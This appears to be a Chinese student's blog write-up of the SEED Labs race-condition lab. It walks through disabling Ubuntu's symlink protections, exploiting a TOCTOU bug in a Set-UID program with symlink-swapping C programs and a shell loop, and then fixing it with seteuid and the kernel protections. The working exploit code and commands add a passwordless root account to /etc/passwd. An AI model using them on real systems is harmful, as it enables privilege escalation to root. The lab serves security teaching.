软件安全实验 SEEDlabs 竞争条件漏洞实验

环境设置

关闭反制措施

Ubuntu 有一个内置的防止竞争条件攻击的保护措施。该方案的工作方式是限制符号链接的跟随者。 根据文档,“如果跟随者和目录所有者与符号链接所有者不匹配,则全局可写的粘滞目录(例如 /tmp)中的 符号链接无法被跟随”。Ubuntu20.04引入了另一种安全机制,防止root用户写入/tmp中其他人拥有的文 件。在本实验中,我们需要禁用这些保护措施。你可以使用以下命令实现这一点:

1
2
3
4
5
6
7
8
// On Ubuntu 20.04, use the following:
$ sudo sysctl -w fs.protected_symlinks=0
$ sudo sysctl fs.protected_regular=0

// On Ubuntu 16.04, use the following:
$ sudo sysctl-w fs.protected_symlinks=0
// On Ubuntu 12.04, use the following:
$ sudo sysctl-w kernel.yama.protected_sticky_symlinks=0

设置 Set-UID程序 我们首先编译上面的代码,并将其二进制文件转换为root所有的 Set-UID程序。以 下命令可实现此目标:

1
2
3
$ gcc vulp.c -o vulp
$ sudo chown root vulp
$ sudo chmod 4755 vulp

Task 1:选择目标

我们希望利用程序中的竞争条件漏洞。我们选择以普通用户无法写入的口令文件/etc/passwd为目 标。通过利用该漏洞,我们希望向口令文件添加一条记录,目的是创建一个具有root权限的新用户账号。 在该口令文件中,每个用户都有一个条目,该条目由七个字段组成并用冒号(:)分隔。root用户的条目如 下所示。

1
root:x:0:0:root:/root:/bin/bash

对于root用户,第三个字段(用户ID字段)的值为零。即当root用户登录时,其进程的用户ID设置 为零,从而赋予进程root权限。root用户的特权基本上并不来自其名称,而是来自用户ID字段。如果我 们想创建一个具有root权限的用户,我们只需要在此字段中输入零。

每个条目的第二个字段是口令字段。在上面的示例中,该字段设置为“x”,表示口令存储在另一个名 为/etc/shadow 的文件(即shadow文件)中。如果遵循这个示例,我们必须使用竞争条件漏洞来修改口令和shadow文件。尽管上述问题并非难以解决,但存在一个更简单的解决方案。,我们可以直接将口令 置于口令文件中“x”的位置,这样操作系统就不会从shadow文件中查找口令。

口令字段不包含实际口令;它保存口令的单向散列值。为了获得给定口令的此类值,可以使用 adduser 命令在自己的系统中添加一个新用户,然后从shadow文件中获取口令的单向散列值。或者我们 可以直接从seed用户的条目中复制值,因为我们知道它的口令是 dees。有趣的是,Ubuntu live CD中 有一个用于无口令帐户的magic值 U6aMy0wojraho(第6个字符是零而非字母O)。如果我们把这个值放 在用户条目的口令字段中,我们只需要在提示输入口令时敲击回车键即可登录。

任务 为了验证magic值口令是否有效,我们(作为超级用户)手动将以下条目添加到/etc/passwd文件 的末尾。请在报告中说明你是否可以在不键入口令的情况下登录 test账户,并检查你是否具有root权 限。

1
test:U6aMy0wojraho:0:0:test:/root:/bin/bash

直接输入其中

1
sudo bash -c "echo 'test:U6aMy0wojraho:0:0:test:/root:/bin/bash' >> /etc/passwd"

image-20251126150222610

切换到 test 账户,无需键入口令,并且具有 root 权限。

image-20251126150503397

完成此任务后,请从口令文件中删除此条目。在下一个任务中,我们需要作为普通用户实现这一目 标。显然,我们不允许直接对口令文件执行此操作,但我们可以利用特权程序中的竞争条件来实现相同的 目标。

Task 2:发起竞争条件攻击

此任务的目标是利用前面列出的易受攻击的 Set-UID程序中的竞争条件漏洞。最终目标是获得root 权限。攻击的最关键步骤是使/tmp/XYZ指向口令文件,该步骤必须发生在检查和使用之间的窗口内;即 在易受攻击程序中的 access和 fopen调用之间。

Task 2.A:模拟一个缓慢的机器

假设机器非常慢,在 access()和 fopen()调用之间有一个10秒的时间窗口。为了模拟这种情况, 我们在它们之间添加了 sleep(10)。该程序如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main()
{
char* fn = "/tmp/XYZ";
char buffer[60];
FILE* fp;

/* get user input */
scanf("%50s", buffer);

if (!access(fn, W_OK)) {
sleep(10); //<- 10s time window
fp = fopen(fn, "a+");
if (!fp) {
perror("Open failed");
exit(1);
}
fwrite("\n", sizeof(char), 1, fp);
fwrite(buffer, sizeof(char), strlen(buffer), fp);
fclose(fp);
} else {
printf("No permission \n");
}

return 0;
}

通过此添加,vulp程序(重新编译时)将暂停并将控制权交给操作系统10秒。我们的工作是手动执 行一些操作,因此当程序在10秒后恢复时,该程序可以帮助你将root帐户添加到系统中。请演示如何实 现这一点。

你将无法修改文件名/tmp/XYZ,因为它在程序中是硬编码的,但你可以使用符号链接更改此名称的 含义。例如,你可以将/tmp/XYZ作为指向/dev/null文件的符号链接。当你写入/tmp/XYZ时,实际内容 将写入/dev/null。请参阅以下示例执行测试(“f”选项表示如果存在链接,则先删除旧链接):

重新编译并设置为 Set-UID 程序

1
2
3
gcc vulp1.c -o vulp
sudo chown root vulp
sudo chmod 4755 vulp

创建一个 /tmp/XYZ 文件。

1
touch /tmp/XYZ

运行程序时,输入

1
test:U6aMy0wojraho:0:0:test:/root:/bin/bash

然后将 /tmp/XYZ 设置为指向 /etc/passwd 的符号链接,使用命令(10s内):

1
2
ln -sf /etc/passwd /tmp/XYZ
ls -ld /tmp/XYZ

然后此时查看 /etc/passwd 的内容,发现 test:U6aMy0wojraho:0:0:test:/root:/bin/bash 已经被写入。

image-20251126163053118

Task 2.B:进行真实攻击

在前一个任务中,我们使用了“欺骗”行为,即要求易受攻击的程序放慢速度,这样就可以发起攻击。但这不是真正的攻击。在这个任务中,我们将发动真正的攻击。在执行此任务之前,请确保已从 vulp 程序中删除 sleep() 语句。

竞争条件攻击中的典型策略是将攻击程序与目标程序并行运行,希望能够在该时间窗口内完成关键步骤。不幸的是,完美的时机很难实现,因此攻击成功是概率性的。如果窗口很小,成功攻击的概率可能很低,但我们可以多次执行攻击,且我们只需要进入竞争状态窗口一次即可成功。

首先删除 sleep(10) 重新编译并设置成 Set-UID 程序。

1
2
3
gcc vulp.c -o vulp
sudo chown root vulp
sudo chmod 4755 vulp

编写攻击程序 在模拟攻击中,我们使用“ln -s”命令创建/更改符号链接。现在我们需要在一个程序中进行。我们可以在 C 中使用 symlink() 来创建符号链接。由于 Linux 不允许在链接已经存在的情况下创建链接,因此我们需要先删除旧链接。下面的 C 代码片段显示了如何删除链接,然后使/tmp/XYZ 指向/etc/passwd。请编写你的攻击程序。

1
2
unlink("/tmp/XYZ");
symlink("/etc/passwd","/tmp/XYZ");

攻击脚本:

1
2
3
4
5
6
7
8
9
10
11
// attack.c
#include <unistd.h>

int main(){
while(1){
unlink("/tmp/XYZ");
symlink("/etc/passwd","/tmp/XYZ");
usleep(100);
}
return 0;
}

image-20251126163553621

运行漏洞程序并观察结果

我们需要多次运行漏洞程序,因此编写一个程序来自动执行此过程。为了避免
手动向漏洞程序 vulp 键入输入,我们可以使用输入重定向。也就是说,我们将输入保存在一个文件中,并要求 vulp 使用“vulp < inputFile”从该文件获取输入。我们也可以使用 pipe(稍后将给出一个示例)。该攻击可能需要一段时间才能成功修改口令文件,因此我们需要一种方法来自动检测攻击是否成功。很多方法可以满足此要求;一种简单的方法是监控文件的时间戳。下面的 shell 脚本运行“ls -l”命令,该命
令输出关于文件的几条信息,包括上次修改的时间。通过将命令的输出与之前生成的输出进行比较,我们可以判断文件是否已被修改。以下 shell 脚本循环执行易受攻击的程序(vulp),输入由 echo 命令(通过一个 pipe)提供。你需要决定实际输入的内容。如果攻击成功,即 passwd 被修改,则 shell 脚本将停止。本任务需要一定的耐心,通常你能够在 5 分钟内成功

完善 target_process.sh

1
2
3
4
5
6
7
8
9
10
11
#!/bin/bash

CHECK_FILE="ls -l /etc/passwd"
old=$($CHECK_FILE)
new=$($CHECK_FILE)
while [ "$old" == "$new" ]
do
echo "test:U6aMy0wojraho:0:0:test:/root:/bin/bash" | ./vulp
new=$($CHECK_FILE)
done
echo "STOP... The passwd file has been changed"

利用 ls -l /etc/passwd 输出的文件修改时间,如果文件修改时间发生变化,说明竞争条件漏洞利用成功,/etc/passwd 文件被修改,此时停止脚本的运行。

  1. 首先运行 attack 攻击脚本。
  2. 然后运行 target_process.sh 脚本,不断的运行漏洞程序。

验证是否成功 当脚本终止时,以 test 用户身份登录并验证 root 权限,测试攻击是否成功。在启动攻击程序的终端窗口中使用 Ctrl-C 以终止攻击程序。
注意 如果 10 分钟后,你的攻击仍未成功,你可以停止攻击,并检查/tmp/XYZ 文件的所有权。如果此文件的所有者成为 root,请手动删除此文件,然后重试攻击,直到攻击成功。请在实验报告中记录这一观察结果。在 Task 2.C 中,我们将解释原因并提供一种改进的攻击方法。

修改成功

image-20251126164642129

切换 test 用户:

image-20251126164704363

Task 2.C:一种改进的攻击方法

Task 2.B 中,如果你已经正确完成了所有操作,但仍然无法成功进行攻击,请检查/tmp/XYZ 的所有权。你会发现/tmp/XYZ 的所有者已经成为 root(通常它应该是 seed)。如果发生这种情况,你的攻击将永远不会成功,因为你的攻击程序以 seed 权限运行,它无法再删除或 unlink() 该文件。这是因为/tmp文件夹上有一个“粘滞”位,意为只有文件的所有者才能删除该文件,即使该文件夹可写。

在 Task 2.B 中,我们允许你使用 root 的权限删除/tmp/XYZ,然后重试攻击。该非期望的情况随机发生,因此通过重复攻击(在 root 的“帮助”下),你最终将成功完成 Task 2.B。显然,从 root 获得帮助不是真正的攻击。我们希望摆脱这种情况,在没有 root 帮助的情况下实现它。

出现这种不良情况的主要原因是我们的攻击程序有一个竞争条件问题,这恰恰也是我们试图在漏洞程序中利用的问题。攻击程序在删除/tmp/XYZ(即 unlink())之后,在将该名称链接到另一个文件(即symlink() 之前,上下文被关闭。请记住,删除现有符号链接并创建一个新的符号链接的操作不是原子的(它涉及两个单独的系统调用),因此如果上下文切换发生在中间(即在删除/tmp/XYZ 之后),并且目标 Set-UID 程序有机会运行其 fopen(fn,“a+”)语句,它将创建一个 root 为所有者的新文件。在此之后,你的攻击程序无法再更改/tmp/XYZ。

总的来说,使用 unlink() 和 symlink() 方法会使我们的攻击程序中有一个竞争条件。因此,当我们试图利用目标程序中的竞争条件时,目标程序可能会意外地“利用”我们的攻击程序中的竞争条件,从而击败我们的攻击。

为了解决这个问题,我们需要使 unlink() 和 symlink() 原子化。幸运的是,有一个系统调用允许我们实现这一点。更准确地说,它允许我们原子地交换两个符号链接。下面的程序首先创建两个符号链接/tmp/XYZ 和/tmp/ABC,然后使用 renameat2 系统调用来原子地交换它们。这允许我们在不引入任何竞争条件的情况下更改/tmp/XYZ 指向的内容。

在 Task 2.B 中,我们的攻击可能失败,原因是我们编写的攻击脚本也存在着竞争条件漏洞,当执行 unlink 操作删除 /tmp/XYZ 之后,如果执行了 fopen 操作,就会创建一个所有者为 root 的 /tmp/XYZ ,下一次 unlink 操作就无法删除 /tmp/XYZ。这是因为 /tmp 文件夹上有一个“粘滞”位,意为只有文件的所有者才能删除该文件,即使该文件夹可写。

攻击脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//attack1.c
#define _GNU_SOURCE

#include <stdio.h>
#include <unistd.h>

int main()
{
unsigned int flags = RENAME_EXCHANGE;
while(1){
unlink("/tmp/XYZ"); symlink("/dev/null", "/tmp/XYZ");
usleep(100);
unlink("/tmp/ABC"); symlink("/etc/passwd", "/tmp/ABC");
usleep(100);
renameat2(0, "/tmp/XYZ", 0, "/tmp/ABC", flags);
}
return 0;
}

使用上面的攻击脚本再次尝试攻击:

image-20251126165740596

Task 3:预防措施

Task 3.A:应用最小权限原则

本实验中,漏洞程序的根本问题是违反了最小权限原则。程序员考虑到运行程序的用户可能权限过高,所以他/她引入了 access() 来限制用户的能力。然而,这不是正确的方法。更好的方法是应用最小权限原则;也就是说,如果用户不需要某些特权,则该特权需要被禁用。

我们可以使用 seteuid 系统调用暂时禁用 root 权限,然后在必要时启用它。请使用此方法修复程序中的漏洞,然后重复攻击。你能成功吗?请报告你的观察结果并提供解释

读取 /tmp/XYZ 文件并不需要 root 权限,根据最小权限原则,如果我们不需要 root 权限,我们就要禁用这个权限,因此我们可以使用 seteuid 系统调用暂时禁用 root 权限,确保进程的权限与当前执行者的权限一致,修改后的代码如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main()
{
char* fn = "/tmp/XYZ";
char buffer[60];
FILE* fp;
seteuid(getuid()); //修改进程的euid为执行者的uid
/* get user input */
scanf("%50s", buffer);

if (!access(fn, W_OK)) {
fp = fopen(fn, "a+");
if (!fp) {
perror("Open failed");
exit(1);
}
fwrite("\n", sizeof(char), 1, fp);
fwrite(buffer, sizeof(char), strlen(buffer), fp);
fclose(fp);
} else {
printf("No permission \n");
}

return 0;
}

编译并设为 Set-UID 程序,再次执行攻击脚本。

1
2
3
gcc vulp2.c -o vulp
sudo chown root vulp
sudo chmod 4755 vulp

观察结果: Open failed: Permission denied。

image-20251126173423439

程序增加 seteuid(getuid()) 后,进程以普通用户身份操作文件,即使通过软链接攻击将 /tmp/XYZ 指向 /etc/passwd,也无法写入该敏感文件。实验多次运行均报权限不足或无法打开,表明最小权限原则有效防止了 SUID 竞态攻击。漏洞被彻底修复。

Task 3.B:使用 Ubuntu 内置方案

Ubuntu 10.10 和更高版本附带了一个内置的防止竞争条件攻击的保护方案。在此任务中,你需要使用
以下命令重新启用保护:

1
2
3
4
5
6
7
// On Ubuntu 16.04 and 20.04, use the following command:
$ sudo sysctl -w fs.protected_symlinks=1
// On Ubuntu 12.04, use the following command:
$ sudo sysctl -w kernel.yama.protected_sticky_symlinks=1

sudo sysctl -w fs.protected_symlinks=1
sudo sysctl fs.protected_regular=1

image-20251126173852472

再次运行攻击脚本。

观察结果:Open failed: Permission denied。

image-20251126173949783

(1)该保护方案是如何工作的?

打开/操作软链接时,检测软链接的属主与当前进程的有效用户ID (eUID)/真实用户ID (UID) 是否一致,以及父目录 sticky 位/属主等元数据。

如果软链接所属用户与操作用户不一致(比如 SUID 程序以 root 打开 seed 创建的软链接),或粘滞位相关限制,则内核阻止操作,返回“Permission denied”。

fs.protected_symlinks=1 时,只有以下情况允许 SUID 程序跟随软链接:

  • 操作者拥有该软链接;
  • 父目录设置了 sticky 位(比如 /tmp),但操作者也拥有软链接或目标文件;
  • 否则直接拒绝。

fs.protected_regular=1 可进一步防止特殊权限文件的“普通文件劫持”风险。

(2)这个方案有什么局限性?

仅“防止软链接/常规文件劫持”本身:只针对“用软链接把受保护文件诱骗 SUID/高权限程序写入”的常见竞态利用,对其他类型的竞态(如普通文件、硬链接、目录劫持等)无效。

对 SUID 程序自身逻辑错误/权限管理无能为力:如果程序自身就忘记降权(如之前你没加 seteuid(getuid())),依然有漏洞,被利用其它方式攻击。

不阻止所有竞态条件攻击。比如没有涉及软链接的时间窗口攻击,或者攻击目标是某些未受保护的文件类型(如敞开权限的配置/日志/用户家目录等),依然可能被利用。

环境兼容性:老旧 Linux 或关闭该保护参数时,仍可被软链接攻击;某些 App/脚本用特定自定义 open/安全配置,或容器环境挂载参数可能绕过。

误伤正常可用场景:某些正常业务涉及 sticky/sticky+symlink 的“多用户协作”场景,偶尔会因保护被拒绝,影响业务(比如临时创建的软链接被自己的高权限进程打不开)

思考题

Q1 下面的所有者为 root 的 Set-UID 程序是否有竞争条件漏洞?并请解释。

1
2
3
4
5
6
7
8
9
if (!access("/etc/passwd", W_OK)) {
/* the real user has the write permission*/
f = open("/tmp/X", O_WRITE);
write_to_file(f);
}
else {
/* the real user does not have the write permission */
fprintf(stderr , "Permission denied\n");
}

存在竞争条件漏洞。

漏洞点在于 access() 和 open() 是分开的

  • 程序首先使用 access("/etc/passwd", W_OK) 检查当前真实用户是否有写权限;

  • 如果通过,才执行 open("/tmp/X", O_WRITE) 打开目标文件进行操作。

  • access() 检查权限到 open() 打开文件之间存在时间窗口(可能仅几毫秒,典型实验会用 sleep 强化这个窗口)。

  • 攻击者可以在这个窗口内更改 /tmp/X 的含义,比如把它变成指向敏感文件(如 /etc/passwd)的软链接

  • 由于程序是 Set-UID 的 root,实际 open 行为会以 root 权限完成。此时,即使 access() 检查时文件是安全的,open() 时已经被攻击者劫持成危险目标,完成了提权或破坏。


软件安全实验 SEEDlabs 竞争条件漏洞实验
http://example.com/2026/test39/
作者
sangnigege
发布于
2026年4月15日
许可协议